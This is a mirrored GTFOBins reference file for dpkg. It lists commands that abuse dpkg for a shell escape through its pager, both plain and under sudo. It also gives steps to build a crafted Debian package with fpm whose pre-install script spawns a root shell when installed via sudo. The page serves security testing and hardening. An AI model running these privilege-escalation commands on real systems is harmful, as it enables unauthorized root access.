1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/dpkg.md
Andrea Cardaci 89b1753a0d Improve dpkg
2020-04-25 19:29:59 +02:00

22 lines
772 B
Markdown

---
functions:
shell:
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
dpkg -l
!/bin/sh
sudo:
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
sudo dpkg -l
!/bin/sh
- description: |
It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
```
code: sudo dpkg -i x_1.0_all.deb
---